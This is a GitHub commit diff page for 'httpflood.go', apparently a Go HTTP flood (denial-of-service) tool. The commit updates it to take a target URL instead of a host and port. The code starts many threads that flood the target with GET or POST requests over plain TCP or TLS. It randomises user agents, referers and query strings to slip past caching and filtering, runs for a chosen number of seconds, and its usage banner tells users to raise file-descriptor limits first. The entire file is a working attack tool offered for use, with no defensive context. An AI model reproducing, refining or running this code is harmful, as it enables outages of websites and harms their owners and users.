Skip to content

Commit e461e3b

Browse files
authored
v2.0
Changed host/ip to url
1 parent 91cfa42 commit e461e3b

File tree

1 file changed

+51
-24
lines changed

1 file changed

+51
-24
lines changed

httpflood.go

Lines changed: 51 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,9 @@ Please fking code ur script by ur self, kid.
44
55
I changed the random integers range to the max of int32.
66
Now 386 systems should work well.
7+
8+
Looks like most people want to hit the url but not the host/ip.
9+
As a result, here you are.
710
*/
811
package main
912

@@ -14,12 +17,18 @@ import (
1417
"io"
1518
"math/rand"
1619
"net"
20+
"net/url"
1721
"os"
1822
"strconv"
23+
"strings"
1924
"time"
2025
)
2126

2227
var (
28+
host = ""
29+
port = "80"
30+
page = ""
31+
mode = ""
2332
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
2433
start = make(chan bool)
2534
acceptall = []string{
@@ -38,7 +47,7 @@ var (
3847
"Accept-Language: en-US,en;q=0.5\r\n",
3948
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
4049
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n"}
41-
page string
50+
key string
4251
choice = []string{"Macintosh", "Windows", "X11"}
4352
choice2 = []string{"68K", "PPC", "Intel Mac OS X"}
4453
choice3 = []string{"Win3.11", "WinNT3.51", "WinNT4.0", "Windows NT 5.0", "Windows NT 5.1", "Windows NT 5.2", "Windows NT 6.0", "Windows NT 6.1", "Windows NT 6.2", "Win 9x 4.90", "WindowsCE", "Windows XP", "Windows 7", "Windows 8", "Windows NT 10.0; Win64; x64"}
@@ -118,20 +127,20 @@ func contain(char string, x string) int { //simple compare
118127
return ans
119128
}
120129

121-
func flood(ip, port, page, mode string) {
122-
addr := ip + ":" + port
130+
func flood() {
131+
addr := host + ":" + port
123132
header := ""
124133
if mode == "get" {
125134
header += " HTTP/1.1\r\nHost: "
126135
header += addr + "\r\n"
127-
if os.Args[7] == "nil" {
136+
if os.Args[5] == "nil" {
128137
header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n"
129138
header += "User-Agent: " + getuseragent() + "\r\n"
130139
header += acceptall[rand.Intn(len(acceptall))]
131140
header += referers[rand.Intn(len(referers))] + "\r\n"
132141
} else {
133142
func() {
134-
fi, err := os.Open(os.Args[7])
143+
fi, err := os.Open(os.Args[5])
135144
if err != nil {
136145
fmt.Printf("Error: %s\n", err)
137146
return
@@ -149,9 +158,9 @@ func flood(ip, port, page, mode string) {
149158
}
150159
} else if mode == "post" {
151160
data := ""
152-
if os.Args[7] != "nil" {
161+
if os.Args[5] != "nil" {
153162
func() {
154-
fi, err := os.Open(os.Args[7])
163+
fi, err := os.Open(os.Args[5])
155164
if err != nil {
156165
fmt.Printf("Error: %s\n", err)
157166
return
@@ -168,11 +177,9 @@ func flood(ip, port, page, mode string) {
168177
}()
169178

170179
} else {
171-
for x := 0; x > 100; x++ {
172-
data += string(string(abcd[rand.Intn(len(abcd))]))
173-
}
180+
data = "f"
174181
}
175-
header := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n"
182+
header += "POST " + page + " HTTP/1.1\r\nHost: " + addr + "\r\n"
176183
header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
177184
header += "Accept-Encoding: gzip, deflate\r\n\n" + data + "\r\n"
178185
}
@@ -183,7 +190,7 @@ func flood(ip, port, page, mode string) {
183190
if port == "443" {
184191
cfg := &tls.Config{
185192
InsecureSkipVerify: true,
186-
ServerName: ip, //simple fix
193+
ServerName: host, //simple fix
187194
}
188195
s, err = tls.Dial("tcp", addr, cfg)
189196
} else {
@@ -194,8 +201,8 @@ func flood(ip, port, page, mode string) {
194201
} else {
195202
for i := 0; i < 100; i++ {
196203
request := ""
197-
if os.Args[5] == "get" {
198-
request += "GET " + os.Args[4] + page
204+
if os.Args[3] == "get" {
205+
request += "GET " + page + key
199206
request += strconv.Itoa(rand.Intn(2147483647)) + string(string(abcd[rand.Intn(len(abcd))])) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))])
200207
}
201208
request += header + "\r\n"
@@ -214,33 +221,53 @@ func main() {
214221
fmt.Println(" || || || || || || || || || || || || || || ")
215222
fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ")
216223
fmt.Println(" || ")
217-
fmt.Println(" .|| Golang version 1.9 ")
224+
fmt.Println(" .|| Golang version 2.0 ")
218225
fmt.Println(" C0d3d By L330n123")
219226
fmt.Println("==========================================================================")
220-
if len(os.Args) != 8 {
227+
if len(os.Args) != 6 {
221228
fmt.Println("Post Mode will use header.txt as data")
222229
fmt.Println("If you are using linux please run 'ulimit -n 999999' first!!!")
223-
fmt.Println("Usage: ", os.Args[0], "<ip> <port> <threads> <page> <get/post> <seconds> <header.txt/nil>")
230+
fmt.Println("Usage: ", os.Args[0], "<url> <threads> <get/post> <seconds> <header.txt/nil>")
224231
os.Exit(1)
225232
}
226-
threads, err := strconv.Atoi(os.Args[3])
233+
u, err := url.Parse(os.Args[1])
234+
if err != nil {
235+
println("Please input a correct url")
236+
}
237+
tmp := strings.Split(u.Host, ":")
238+
host = tmp[0]
239+
if u.Scheme == "https" {
240+
port = "443"
241+
} else {
242+
port = u.Port()
243+
}
244+
if port == "" {
245+
port = "80"
246+
}
247+
page = u.Path
248+
if os.Args[3] != "get" && os.Args[3] != "post" {
249+
println("Wrong mode, Only can use \"get\" or \"post\"")
250+
return
251+
}
252+
mode = os.Args[3]
253+
threads, err := strconv.Atoi(os.Args[2])
227254
if err != nil {
228255
fmt.Println("Threads should be a integer")
229256
}
230-
limit, err := strconv.Atoi(os.Args[6])
257+
limit, err := strconv.Atoi(os.Args[4])
231258
if err != nil {
232259
fmt.Println("limit should be a integer")
233260
}
234-
if contain(os.Args[4], "?") == 0 {
235-
page = "?"
261+
if contain(page, "?") == 0 {
262+
key = "?"
236263
} else {
237-
page = "&"
264+
key = "&"
238265
}
239266
input := bufio.NewReader(os.Stdin)
240267

241268
for i := 0; i < threads; i++ {
242269
time.Sleep(time.Microsecond * 100)
243-
go flood(os.Args[1], os.Args[2], os.Args[4], os.Args[5]) // Start threads
270+
go flood() // Start threads
244271
fmt.Printf("\rThreads [%.0f] are ready", float64(i+1))
245272
os.Stdout.Sync()
246273
//time.Sleep( time.Millisecond * 1)
@@ -251,7 +278,7 @@ func main() {
251278
fmt.Println(err)
252279
return
253280
}
254-
fmt.Println("Flood will end in " + os.Args[6] + " seconds.")
281+
fmt.Println("Flood will end in " + os.Args[4] + " seconds.")
255282
close(start)
256283
time.Sleep(time.Duration(limit) * time.Second)
257284
//Keep the threads continue

0 commit comments

Comments
 (0)